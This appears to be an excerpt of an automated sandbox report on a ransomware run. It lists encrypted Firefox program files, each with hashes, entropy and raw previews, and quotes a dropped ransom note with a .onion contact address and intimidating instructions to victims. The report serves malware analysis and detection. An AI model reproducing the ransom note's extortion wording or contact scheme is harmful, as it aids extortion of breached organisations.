MD5:	255C8BA30A2427D20C7BCE7873F16EBC
SHA1:	9C49DD279BB532CADBA43F5EDAFF03611243F87E
SHA-256:	EB802EA832EF17323671B1868EE6B9C6EFDFB0872FF15387D1D4DD1FF90A00B0
SHA-512:	A9AF7147DF7DEEF78E1CF529AB836F84823EA98E8794C57730D2AAE6EB6DCF03225151836833B41D7BB789A8A6FA40BA276DB3F40631E26EC99D2D12E75A66E6
Malicious:	false
Preview:	...n.....WS..8..%.K[..T.f..4.j"'S..+Kg.+[.L.^..F...E..u#.q..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ...................................................o.....RS..8....KY.s..f..4.j"'C..+Kg.+K.L.^..F...E..u#.q...l..O....m...........................)... ..\...Pg..................................8............t..(...................................K.TS..8....K[..T.f..4.j"'S..+K..Y?.8.^...F...E.du#...............@..@.data....+...........z..............@....pdata..............................@..@.00cfg..(........................../...8?..T..%.K[..T.d..4Tn"'S..+Kg.+[.L.^..5et.Eu.u#.a......................@..@.reloc..\.... ......................@..B...................................................................o.....WS..8..%.K[..T.f..4.j"'S..+Kg.+[.L.^..F...E..u#.q.....................................................................................................................................o.....WS..8..%.K[..T.f..4.j"'S..+Kg

C:\Program Files\Mozilla Firefox\uninstall\helper.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1259138
Entropy (8bit):	6.72012398070879
Encrypted:	false
SSDEEP:
MD5:	C5B10D04699B7F484DF0BB4A04F1BAF9
SHA1:	7E3F38BF462F35CDC96AA62F18D57AD619661767
SHA-256:	74490A352A6444B318E250777634DD36709E9F225B59E4E5BB973663B52F47DC
SHA-512:	AD13E0C73DFC86C7942D79906D94B5DCED87DCCEDE145EC07E5DF261E46D538DF044D7855891010F0975D344374C74E2C118A14322CED12A6B145CC5ED9AE268
Malicious:	false
Preview:	.]..M..Tk.X.......Oi.m.n.0.8Z.z$.vP..W.....2...O.ybc....zj..........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.Y.=.N..Pk.XN......Oi.m.+.0.9_.*.X.P..W....f.=...I..bc._..b...4............@.................................Z_....@.......................................... ...p...............)..........Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W.....2..5O.3{bc....j...................text....g.......h.................. ..`.rdata...............l..............@..@.data...........................Y.=....~.h9:....Oi.n..n.0.8Z.z$.vP..W......2.".<..ybce...J...r..................@..@........................................................................................................Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W.....2...O.ybc....j..................................................................................................................................Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W

C:\Program Files\Mozilla Firefox\uninstall\helper.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1259138
Entropy (8bit):	6.72012398070879
Encrypted:	false
SSDEEP:
MD5:	C5B10D04699B7F484DF0BB4A04F1BAF9
SHA1:	7E3F38BF462F35CDC96AA62F18D57AD619661767
SHA-256:	74490A352A6444B318E250777634DD36709E9F225B59E4E5BB973663B52F47DC
SHA-512:	AD13E0C73DFC86C7942D79906D94B5DCED87DCCEDE145EC07E5DF261E46D538DF044D7855891010F0975D344374C74E2C118A14322CED12A6B145CC5ED9AE268
Malicious:	false
Preview:	.]..M..Tk.X.......Oi.m.n.0.8Z.z$.vP..W.....2...O.ybc....zj..........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.Y.=.N..Pk.XN......Oi.m.+.0.9_.*.X.P..W....f.=...I..bc._..b...4............@.................................Z_....@.......................................... ...p...............)..........Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W.....2..5O.3{bc....j...................text....g.......h.................. ..`.rdata...............l..............@..@.data...........................Y.=....~.h9:....Oi.n..n.0.8Z.z$.vP..W......2.".<..ybce...J...r..................@..@........................................................................................................Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W.....2...O.ybc....j..................................................................................................................................Y.=.N..Pk.XN......Oi.m..n.0.8Z.z$.vP..W

C:\Program Files\Mozilla Firefox\uninstall\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	6.79183694731104
Encrypted:	false
SSDEEP:
MD5:	AB77C3E9FF752D1BF44D0D846C739F6A
SHA1:	13584BB11EA4299226683712CA9F48B437F25E33
SHA-256:	44CD7CFDFAE41F51A3C23B62113A82D43D7E19D707EAFA4471CDB555B5DE927F
SHA-512:	35A693FD7C7015E78DE144BA00111063D7FBA083570BCC993617ACBB33FB9A5539C4C6B6072430446E50D29D73D4EC5D82168291385A1BEE9A74D5A05BF2143E
Malicious:	false
Preview:	..=..t.."U.W......$..5......<....../ ...daV~f..#...W..La\|...FV...t...U........$.............../ ...aaL~j..#....W..Le\|...F..r.t...U...#....$.........m....../....Kab~G..#....c.eL.\|...FA.B.t...U.&.p....$.............../_...\ag~W..#....q.8LY\|..wF}.X.t...U.c.9...$........Y....../<....a)~I..#....u.LE\|.. F....M.i.g.r.a.t.e.d.=.t.r.u.e...........F.!\|.!N..DiS..'R....6...U.w...m78....P.. ...%.....W..XB.Xw5.D.G......L.r2f...!!...b.B.c.'....V.T.h.x-....L?..N.....8\|..BG"..............I\|.%...g...Hg.d+.}...wZ.C...0..\|..?..e(...-..DpN..$.~..1.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	6.79183694731104
Encrypted:	false
SSDEEP:
MD5:	AB77C3E9FF752D1BF44D0D846C739F6A
SHA1:	13584BB11EA4299226683712CA9F48B437F25E33
SHA-256:	44CD7CFDFAE41F51A3C23B62113A82D43D7E19D707EAFA4471CDB555B5DE927F
SHA-512:	35A693FD7C7015E78DE144BA00111063D7FBA083570BCC993617ACBB33FB9A5539C4C6B6072430446E50D29D73D4EC5D82168291385A1BEE9A74D5A05BF2143E
Malicious:	false
Preview:	..=..t.."U.W......$..5......<....../ ...daV~f..#...W..La\|...FV...t...U........$.............../ ...aaL~j..#....W..Le\|...F..r.t...U...#....$.........m....../....Kab~G..#....c.eL.\|...FA.B.t...U.&.p....$.............../_...\ag~W..#....q.8LY\|..wF}.X.t...U.c.9...$........Y....../<....a)~I..#....u.LE\|.. F....M.i.g.r.a.t.e.d.=.t.r.u.e...........F.!\|.!N..DiS..'R....6...U.w...m78....P.. ...%.....W..XB.Xw5.D.G......L.r2f...!!...b.B.c.'....V.T.h.x-....L?..N.....8\|..BG"..............I\|.%...g...Hg.d+.}...wZ.C...0..\|..?..e(...-..DpN..$.~..1.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Mozilla Firefox\uninstall\uninstall.log

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2332
Entropy (8bit):	7.734680221899685
Encrypted:	false
SSDEEP:
MD5:	7FB60A189AF477653D51E6D321CEA1E4
SHA1:	E4A78D898D4DD8BB831B39F8EFC95D2EDCA3AA2B
SHA-256:	C36AE84B678A847BF1B15C13302CF1991C41CEA461ACE2752427F01CAB2B184F
SHA-512:	91BFDC198A6355A54FCD9DB4BFAAF66E86C235835B224E5947149DB9B2A93A8280F512AD5B179A2852631598B3C635408802748FB92544828906B865C13E3093
Malicious:	false
Preview:	..\M"a..Y.\|Y.....<->~~...7.aQ.Y..%!.M..rg.z.1.+p...............BMh....H.jR....1:w6C..(..>.G.BwSwS...B.b.d.Y}..r........WMv5..._..l.....;(p~...:..5..\.N.wXT..!$ j.8.pu..b..........Av(..7S.j......81)sq...9.B7.Ay-C.rXU.Gb.\|.8.}7.........7...VG`o....fM.....8emJy...=..u.F.Fi8rX..up.C.0.c\|..............BM}#.._^.c'.....g..qt..>..u..Yy-C.rXU.Gm.m.2.`w..u....a......D-..V.mY....W.$zz...7......Kip.{..~>\R.7.BU..5..........lDw"....aC.....8emJr../..:.P.Bw.w^..~\|.....i\|.j.........B^q"..T.{K....8'(....>.L..[.Cp.n...zh.t.,.`a...A.........._L}"...V..l.....2"l~...2.B?.8~al.{.O.vk.i.+.+}..............B.\|-..{\|.cO.....+<='+...7.aQ.Y..%!pR..}m.o.7.kj...b....-....tv2.._^.c'.....g..xl...9.B?.8~al.{.O.ti.g.4.....b.........UZl2...V..l...../$xx...?..u..Py-C.rXU.Gt.o.8.wt..n......K..WAvl..N.fD....8RGPv.{..7.\..f.pI..ua. .&.+j...............]Xt$.\|0.fF..../6;wk..)..(.RZB}..7).waF....lo...X..........EIt..._.{Y.....8,98g.Q..7...(Vl.}\.

C:\Program Files\Mozilla Firefox\uninstall\uninstall.log.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2332
Entropy (8bit):	7.734680221899685
Encrypted:	false
SSDEEP:
MD5:	7FB60A189AF477653D51E6D321CEA1E4
SHA1:	E4A78D898D4DD8BB831B39F8EFC95D2EDCA3AA2B
SHA-256:	C36AE84B678A847BF1B15C13302CF1991C41CEA461ACE2752427F01CAB2B184F
SHA-512:	91BFDC198A6355A54FCD9DB4BFAAF66E86C235835B224E5947149DB9B2A93A8280F512AD5B179A2852631598B3C635408802748FB92544828906B865C13E3093
Malicious:	false
Preview:	..\M"a..Y.\|Y.....<->~~...7.aQ.Y..%!.M..rg.z.1.+p...............BMh....H.jR....1:w6C..(..>.G.BwSwS...B.b.d.Y}..r........WMv5..._..l.....;(p~...:..5..\.N.wXT..!$ j.8.pu..b..........Av(..7S.j......81)sq...9.B7.Ay-C.rXU.Gb.\|.8.}7.........7...VG`o....fM.....8emJy...=..u.F.Fi8rX..up.C.0.c\|..............BM}#.._^.c'.....g..qt..>..u..Yy-C.rXU.Gm.m.2.`w..u....a......D-..V.mY....W.$zz...7......Kip.{..~>\R.7.BU..5..........lDw"....aC.....8emJr../..:.P.Bw.w^..~\|.....i\|.j.........B^q"..T.{K....8'(....>.L..[.Cp.n...zh.t.,.`a...A.........._L}"...V..l.....2"l~...2.B?.8~al.{.O.vk.i.+.+}..............B.\|-..{\|.cO.....+<='+...7.aQ.Y..%!pR..}m.o.7.kj...b....-....tv2.._^.c'.....g..xl...9.B?.8~al.{.O.ti.g.4.....b.........UZl2...V..l...../$xx...?..u..Py-C.rXU.Gt.o.8.wt..n......K..WAvl..N.fD....8RGPv.{..7.\..f.pI..ua. .&.+j...............]Xt$.\|0.fF..../6;wk..)..(.RZB}..7).waF....lo...X..........EIt..._.{Y.....8,98g.Q..7...(Vl.}\.

C:\Program Files\Mozilla Firefox\update-settings.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	6.63710380798211
Encrypted:	false
SSDEEP:
MD5:	AF9C6F1875136DA1F6E34AA8FD3920CB
SHA1:	C5562787FFFF5BDBB3622AB01ADB97F1820586E0
SHA-256:	9C0864CA71B0A0C1089F4D295EA7F023C18AB4E0CC6E71E3545B33D44F71B17E
SHA-512:	DEEFCC33122C1555E861695BFA8EFA60CCC73D2692ECFDCE7C26CD21F1982474620646E7B1B1A49CA96B38294F3212A27438B168E5F0651DE2BC81BFC10D4C4C
Malicious:	false
Preview:	/.lz..........B...D.KR..D..N.m..\y..P.../4c".o..b].........t.4.Lp.N.p......U...'7(w..u.:a.M(.l...g....IT.c$e..u.........q.ase.....)..o-I..?.9...9 .5.....VIK&.:..\7. .^.l2.r.9......'s.O.Q.(....?.d)..P..."a...zC=.1H.5.......g.H..ZP...V...,b^..x.L..$o...c.XF.mx_..t.<DrH.-...'..P..A=z.....M....=I..U{-....+..H.K..]?Zd....=S..X..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\update-settings.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	6.63710380798211
Encrypted:	false
SSDEEP:
MD5:	AF9C6F1875136DA1F6E34AA8FD3920CB
SHA1:	C5562787FFFF5BDBB3622AB01ADB97F1820586E0
SHA-256:	9C0864CA71B0A0C1089F4D295EA7F023C18AB4E0CC6E71E3545B33D44F71B17E
SHA-512:	DEEFCC33122C1555E861695BFA8EFA60CCC73D2692ECFDCE7C26CD21F1982474620646E7B1B1A49CA96B38294F3212A27438B168E5F0651DE2BC81BFC10D4C4C
Malicious:	false
Preview:	/.lz..........B...D.KR..D..N.m..\y..P.../4c".o..b].........t.4.Lp.N.p......U...'7(w..u.:a.M(.l...g....IT.c$e..u.........q.ase.....)..o-I..?.9...9 .5.....VIK&.:..\7. .^.l2.r.9......'s.O.Q.(....?.d)..P..."a...zC=.1H.5.......g.H..ZP...V...,b^..x.L..$o...c.XF.mx_..t.<DrH.-...'..P..A=z.....M....=I..U{-....+..H.K..]?Zd....=S..X..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\updater.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	414938
Entropy (8bit):	6.995266105740099
Encrypted:	false
SSDEEP:
MD5:	461AD558B4C8744EFFB5C4B79C472C3F
SHA1:	0643FBB42DB47089F1EBCADABD9B5704CFDF6441
SHA-256:	C102571B601FEB6AA0EE51E00BB02C6EA2AEBD98148C8E52D0B97A8B9EA4CDCE
SHA-512:	1F207215C6E44179C167292E2DC22080448DC58EB969029E90A70E415D4F048A8439FCC2B1BA260F4B1009DEFDBA75FE82433C6EB73DED8BF3417F2F27EECD79
Malicious:	false
Preview:	..\OICz.....Z:s'.[......* e..;........B.G...=.Z.a..o.._....^.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@......................$OHCz..5..Z>s'......~.j ...;........B.G...=.Z.q..o.._...^..........;.......0..X~....... ......)...........6..........................(....`..8...........0B..H...H9..`.....................A7<Cz.k...Zs'........j e..;........".5..\.Z5u.....I...].............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(.........................$O.Cz^...Z:s'.[......j"e...........B.G..?=........._...[........................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc............... ....$OHCz......:se.[......j e..;........B.G...=.Z.a..o.._...^...................................................................................................................................$OHCz.....Z:s'.[......j e..;........B

C:\Program Files\Mozilla Firefox\updater.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	414938
Entropy (8bit):	6.995266105740099
Encrypted:	false
SSDEEP:
MD5:	461AD558B4C8744EFFB5C4B79C472C3F
SHA1:	0643FBB42DB47089F1EBCADABD9B5704CFDF6441
SHA-256:	C102571B601FEB6AA0EE51E00BB02C6EA2AEBD98148C8E52D0B97A8B9EA4CDCE
SHA-512:	1F207215C6E44179C167292E2DC22080448DC58EB969029E90A70E415D4F048A8439FCC2B1BA260F4B1009DEFDBA75FE82433C6EB73DED8BF3417F2F27EECD79
Malicious:	false
Preview:	..\OICz.....Z:s'.[......* e..;........B.G...=.Z.a..o.._....^.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@......................$OHCz..5..Z>s'......~.j ...;........B.G...=.Z.q..o.._...^..........;.......0..X~....... ......)...........6..........................(....`..8...........0B..H...H9..`.....................A7<Cz.k...Zs'........j e..;........".5..\.Z5u.....I...].............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(.........................$O.Cz^...Z:s'.[......j"e...........B.G..?=........._...[........................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc............... ....$OHCz......:se.[......j e..;........B.G...=.Z.a..o.._...^...................................................................................................................................$OHCz.....Z:s'.[......j e..;........B

C:\Program Files\Mozilla Firefox\updater.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.58286410809407
Encrypted:	false
SSDEEP:
MD5:	0249F505D178D7B02048ED32B99E8E2D
SHA1:	3B56BEC90EC0AF11E168F956BCB8761F65B935C2
SHA-256:	B15296029A2CBC166AAF09D29F77A1CA4F261A164E3DDF7D80BBFD57632ECB3C
SHA-512:	88EFFDEFB6A45356E5A03CD19629F00C1FEE7FB3301E6EF4417BA8DA2BE5F710EB7645E83DEF8F0A46FCF3C6CD08F300E4FE04108ACC3F474B7540BB244978C3
Malicious:	false
Preview:	._....G.....j....HZ'(.'.(.8...+....G.z\W.\t.f.yBJ...X..H..AK....4.....9.....{u.n..{.z...&....G.z\n.b9..zl.b^.T..V..F..tZ_....`...m.j....l:0.-..{.8...1.....'k\K.Zi..&!.wCC\.CM.....].M..W...W...9....\&e. ..3.z..3r....P){.M.$B..{%.jYr:..V.....c[..X..p...m.$....\|P3.n..{.4...3.....?p.Q.[i..}).-KAT..K.....pL......4...G.%....O.!..7.;...1....]%z8F.Mk..}%.c.{X.Mo..M..p.2....z..........k.0+.;..(Y.........['i...F\|..h8.~^.Q.....W..b[.....q.....j....t\9).n..).<..U0...F4?.L.^l..{b.FOJ@..E.M..wQ......{.....j....\|Lu,.>../.4...0...F4?.M.Gw.z).xXFD.A...@.~D.....`.....3...cX0+.=..3.........Cfk.J..j...%.h.J^..N......6..7..U.#.G."....bPu6.!..?Y;...&...R4k\T.Zq..)".zFF^.MK..G..t.......x.}.G.8..j. 5./..)W3..U;....])k\F.J9..}$.l.AU..K.....1......`...G.%...m]u$.:..{.4...;....['l\A.Kw..\|/.hY\V..N..E..}W...X..}.}.G.?.....\;e.&..(.7..6....\4f\L..x..\|..iC]U..M.....1J......q.....j....k?ne.>..2.;...1....P3k.A.K9..h8.dDFD..V.....t......f.W...+....^Z&1.>../....(U..?.V.

C:\Program Files\Mozilla Firefox\updater.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.58286410809407
Encrypted:	false
SSDEEP:
MD5:	0249F505D178D7B02048ED32B99E8E2D
SHA1:	3B56BEC90EC0AF11E168F956BCB8761F65B935C2
SHA-256:	B15296029A2CBC166AAF09D29F77A1CA4F261A164E3DDF7D80BBFD57632ECB3C
SHA-512:	88EFFDEFB6A45356E5A03CD19629F00C1FEE7FB3301E6EF4417BA8DA2BE5F710EB7645E83DEF8F0A46FCF3C6CD08F300E4FE04108ACC3F474B7540BB244978C3
Malicious:	false
Preview:	._....G.....j....HZ'(.'.(.8...+....G.z\W.\t.f.yBJ...X..H..AK....4.....9.....{u.n..{.z...&....G.z\n.b9..zl.b^.T..V..F..tZ_....`...m.j....l:0.-..{.8...1.....'k\K.Zi..&!.wCC\.CM.....].M..W...W...9....\&e. ..3.z..3r....P){.M.$B..{%.jYr:..V.....c[..X..p...m.$....\|P3.n..{.4...3.....?p.Q.[i..}).-KAT..K.....pL......4...G.%....O.!..7.;...1....]%z8F.Mk..}%.c.{X.Mo..M..p.2....z..........k.0+.;..(Y.........['i...F\|..h8.~^.Q.....W..b[.....q.....j....t\9).n..).<..U0...F4?.L.^l..{b.FOJ@..E.M..wQ......{.....j....\|Lu,.>../.4...0...F4?.M.Gw.z).xXFD.A...@.~D.....`.....3...cX0+.=..3.........Cfk.J..j...%.h.J^..N......6..7..U.#.G."....bPu6.!..?Y;...&...R4k\T.Zq..)".zFF^.MK..G..t.......x.}.G.8..j. 5./..)W3..U;....])k\F.J9..}$.l.AU..K.....1......`...G.%...m]u$.:..{.4...;....['l\A.Kw..\|/.hY\V..N..E..}W...X..}.}.G.?.....\;e.&..(.7..6....\4f\L..x..\|..iC]U..M.....1J......q.....j....k?ne.>..2.;...1....P3k.A.K9..h8.dDFD..V.....t......f.W...+....^Z&1.>../....(U..?.V.

C:\Program Files\Mozilla Firefox\vcruntime140.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	98538
Entropy (8bit):	7.189298361272344
Encrypted:	false
SSDEEP:
MD5:	01E8A20731CA01C4E44175AB7A3A4EA5
SHA1:	E205ED09FB603EEE0659C16EA6BEDB9A60A117CB
SHA-256:	D7C8552C3B694BD89379D7DE74F53561C886F222B763A71C4658863BA2C3CDA1
SHA-512:	3A734625FF44556C9CC470B80D4A37413673548F611A519F37ED15DB2E18FE2649A36B5D120E7C1CA10501900E91B5AC8215A680F35CE5DE98E4265C71B0AB95
Malicious:	false
Preview:	\|.....FH.?...!..}.......-...+.v9gp.b..:8....c...W.6;...0.._........!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q..".....Q.dpgX.........%...iEwQ...v9gp.b..:8....3...3Y.6.q.t..._......" .........`......p................................................{....`A.........................................B..4.....~.,..FLy>..D!.;.........-...+..8g...b..;8....c...W.6;......_.........,..8............................................text............................... ..`.rdata...@.......B..............1U.....b.^..G!.{t........-...+.v9gp.b..:8....M.p.#..6c....._.....D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..1U....FL.?.G!.;}.......-...+.v9gp.b..:8....c...W.6;......_................................................................................................................................1U....FL.?..G!.;}.......-...+.v9gp.b

C:\Program Files\Mozilla Firefox\vcruntime140.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	98538
Entropy (8bit):	7.189298361272344
Encrypted:	false
SSDEEP:
MD5:	01E8A20731CA01C4E44175AB7A3A4EA5
SHA1:	E205ED09FB603EEE0659C16EA6BEDB9A60A117CB
SHA-256:	D7C8552C3B694BD89379D7DE74F53561C886F222B763A71C4658863BA2C3CDA1
SHA-512:	3A734625FF44556C9CC470B80D4A37413673548F611A519F37ED15DB2E18FE2649A36B5D120E7C1CA10501900E91B5AC8215A680F35CE5DE98E4265C71B0AB95
Malicious:	false
Preview:	\|.....FH.?...!..}.......-...+.v9gp.b..:8....c...W.6;...0.._........!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q..".....Q.dpgX.........%...iEwQ...v9gp.b..:8....3...3Y.6.q.t..._......" .........`......p................................................{....`A.........................................B..4.....~.,..FLy>..D!.;.........-...+..8g...b..;8....c...W.6;......_.........,..8............................................text............................... ..`.rdata...@.......B..............1U.....b.^..G!.{t........-...+.v9gp.b..:8....M.p.#..6c....._.....D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..1U....FL.?.G!.;}.......-...+.v9gp.b..:8....c...W.6;......_................................................................................................................................1U....FL.?..G!.;}.......-...+.v9gp.b

C:\Program Files\Mozilla Firefox\vcruntime140_1.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	37570
Entropy (8bit):	7.047523527439357
Encrypted:	false
SSDEEP:
MD5:	03DF117FFC20E76A5B92FE2CB39FBA49
SHA1:	2958796F636E2DDEAF67BBCD23C65A2711C515A6
SHA-256:	FD0BC7046162D91541ED164077E8F6C86829E7D5087275D8226F689E54610D86
SHA-512:	4E0FB4E279285911CBA030C3F5291E09393C237B2B411B36F36832B29EA2783B3F9005096E191DBCC7F9E67882B787B72323C2C9D0DB29033FD5F4840F023468
Malicious:	false
Preview:	.8h.LW.....'...Z...$_m..BG..'.t&.....(.gr$..K....P...RP.G...........!..L.!This program cannot be run in DOS mode....$.......D_.O.>...>...>...N...>..RK...>...F^..>...>..1>..RK...>..RK...>...)0.Ui,.W.s...I.....%a....Z..D;..Et..&.(.gr$..K....P...RP.G...PE..d...)\|.a.........." .....:...6......`A....................................................`A................................Jb.._W....T......\_m..,BG...'..&.....(.gr.<.K...,Q..10P..............................b..8............P..X............................text...e9.......:.................. ..`.rdata.. "...P..JF..Oi...........d_m..#3..'.s&..U..(.gr$}.K....P...RP......pdata...............d..............@..@.rsrc................h..............@..@.reloc..<............l..............@..B........Jb..OW...........$_m...BG..'.t&.....(.gr$..K....P...RP.G...................................................................................................................................Jb..OW...........$_m...BG..'.t&.....

C:\Program Files\Mozilla Firefox\vcruntime140_1.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	37570
Entropy (8bit):	7.047523527439357
Encrypted:	false
SSDEEP:
MD5:	03DF117FFC20E76A5B92FE2CB39FBA49
SHA1:	2958796F636E2DDEAF67BBCD23C65A2711C515A6
SHA-256:	FD0BC7046162D91541ED164077E8F6C86829E7D5087275D8226F689E54610D86
SHA-512:	4E0FB4E279285911CBA030C3F5291E09393C237B2B411B36F36832B29EA2783B3F9005096E191DBCC7F9E67882B787B72323C2C9D0DB29033FD5F4840F023468
Malicious:	false
Preview:	.8h.LW.....'...Z...$_m..BG..'.t&.....(.gr$..K....P...RP.G...........!..L.!This program cannot be run in DOS mode....$.......D_.O.>...>...>...N...>..RK...>...F^..>...>..1>..RK...>..RK...>...)0.Ui,.W.s...I.....%a....Z..D;..Et..&.(.gr$..K....P...RP.G...PE..d...)\|.a.........." .....:...6......`A....................................................`A................................Jb.._W....T......\_m..,BG...'..&.....(.gr.<.K...,Q..10P..............................b..8............P..X............................text...e9.......:.................. ..`.rdata.. "...P..JF..Oi...........d_m..#3..'.s&..U..(.gr$}.K....P...RP......pdata...............d..............@..@.rsrc................h..............@..@.reloc..<............l..............@..B........Jb..OW...........$_m...BG..'.t&.....(.gr$..K....P...RP.G...................................................................................................................................Jb..OW...........$_m...BG..'.t&.....

C:\Program Files\Mozilla Firefox\xul.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	131645658
Entropy (8bit):	7.297924041747992
Encrypted:	false
SSDEEP:
MD5:	4393EEB4FA53C5F8BE72605076723BAD
SHA1:	4952DE91691879D955FF54FA9EDB21D22BF8E297
SHA-256:	80E3E3DAFE51063E00B0D10C46A7896159B04662195FCA1B7A5F76BDB7EEE4B9
SHA-512:	95C37C50B0BC037F6F72D00BFAA5CB322B636E12C00D68AF9FE7B3CC1D95DA442DA7E6F51CF1CBD6893BD96B4B1334D77189B7D4390C82C3E2AAD81DD5777070
Malicious:	false
Preview:	.2...RH...d.B.C..............s.<...s.B...V......x_.O...D&T(.^........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........x3.......I...............................J...RH..c.F.C.$....._......s.,...s.B...V......x_.O...D&<(.^............X....`..........p.!......)......$O.../......................X.x.(... ...8........... ...(5...~..@...................../e..RH`.a.R.C......_......s.<...s."...."...J..y_....K',8.[............@..@.data............"..................@....pdata..p.!.......!.................@..@.00cfg..(....0.......F............J..R.?.d....&.....$._.....Hu.<...s.B...V......>...k.D&,x.X.....J.............. ..`.rodata......`.......T..............@....tls.........0......."..............@....voltbl......@...........J...RH...d.B.C..a....w.....Mt.>..._.E...V......x..O ..7TO(.^.....`......................@..@.reloc..$O.......P...F..............@..B..........................................................J...RH...d.B.C......._......s.<...s.B

C:\Program Files\Mozilla Firefox\xul.dll.sig

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.766717096883423
Encrypted:	false
SSDEEP:
MD5:	B9E717F92FC58D2866233ACD20F1A2D9
SHA1:	91A0E5F9482A28D567C1AA78EE1A88F61838F988
SHA-256:	52E5566C00519374388FDD72550A48B75B8C721094EDBAC771FC21ADC97FCF89
SHA-512:	BB646F9A713D05E09EB4BDA827A2826169FE6807FEC502934BFA3B6D87CBA564AF9B49AA52F707E41DB9459FEEBE73C3022F49EF5753CE4F2CEF761A5E19933D
Malicious:	false
